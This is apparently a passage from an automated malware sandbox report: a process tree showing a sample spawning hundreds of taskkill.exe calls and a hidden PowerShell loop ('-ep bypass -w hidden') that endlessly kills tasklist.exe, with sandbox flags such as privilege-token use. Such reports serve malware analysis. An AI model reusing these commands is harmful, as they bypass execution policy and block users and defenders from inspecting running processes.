PID:3620
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4928
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:2824
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:2168
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4504
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3832
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3700
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:1412
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4140
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3260
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3020
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3852
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:1768
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:5088
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4988
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3820
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3140
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3732
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:2764
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4180
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4232
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3104
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4796
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3168
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3876
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3760
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:5012
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:2188
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:2256
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:1760
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4500
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3076
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:2884
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:2076
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3232
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:1716
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3136
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3720
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵
- Kills process with taskkill
PID:3356
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:2104
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3832
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:2356
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:2024
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4180
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4828
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3744
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:1532
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4284
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3720
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:2168
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4228
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3672
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4224
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4464
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3936
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:2808
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3120
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4644
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3356
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4336
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4760
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3660
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3232
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4056
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:2000
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:5092
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4132
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4376
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4020
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:1216
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:1248
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3016
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵
- Kills process with taskkill
PID:3916
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3980
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3724
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4284
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4452
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:2168
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4228
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:1728
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4888
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3176
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:268
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4928
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:1688
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:800
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4020
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3908
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:2044
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:348
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4956
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3104
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:2672
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4644
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3184
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:2580
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4224
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:1728
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3152
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3852
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:5036
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:620
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3192
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:1684
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3572
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4840
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4052
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3856
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3924
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵
- Kills process with taskkill
PID:4028
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:2708
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4080
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3768
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3784
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3616
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4896
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3424
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:2692
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:5092
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:2248
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:2764
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:788
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:5056
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4688
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3612
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:5076
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4724
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4412
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵
- Kills process with taskkill
PID:1116
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:1260
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3068
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:2452
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:4976
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3692
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3728
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im taskkill.exe4⤵PID:3188
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -w hidden -c "while($true){ taskkill /f /im tasklist.exe}"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2568 -
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:5036
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:4528
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:3200
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:3672
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:3892
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:4300
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:3108
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:4820
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:3152
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:3840
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:2732
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:4248
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:4404
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:5092
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:2860
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:4336
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:4784
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:1104
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:1972
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:4260
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:3116
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:3168
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:1540
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:4704
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:5100
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:5024
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:4324
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3196
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:4148
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:3776
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3792
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:3892
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:4416
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:3108
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:4112
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:4840
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:3960
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:2936
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:2712
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:2736
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:1792
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:3684
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:4528
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:1820
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:528
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:4784
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:4776
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:3228
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:1176
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:760
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:888
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:3080
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:3408
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:2232
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:2644
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:4340
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:3932
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:3076
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:4028
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:3104
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:2672
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:5044
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:1652
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:4472
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:4420
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:2008
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:2832
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:1080
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:4892
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:3344
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:3900
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:4924
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:5116
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:4132
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:3712
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:4472
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:1728
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵
- Kills process with taskkill
PID:4072
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:4192
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:3144
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:4824
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3944
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:1540
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:2812
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:4348
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:2408
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:772
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:4420
-
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\system32\taskkill.exe" /f /im tasklist.exe4⤵PID:1464
-
-
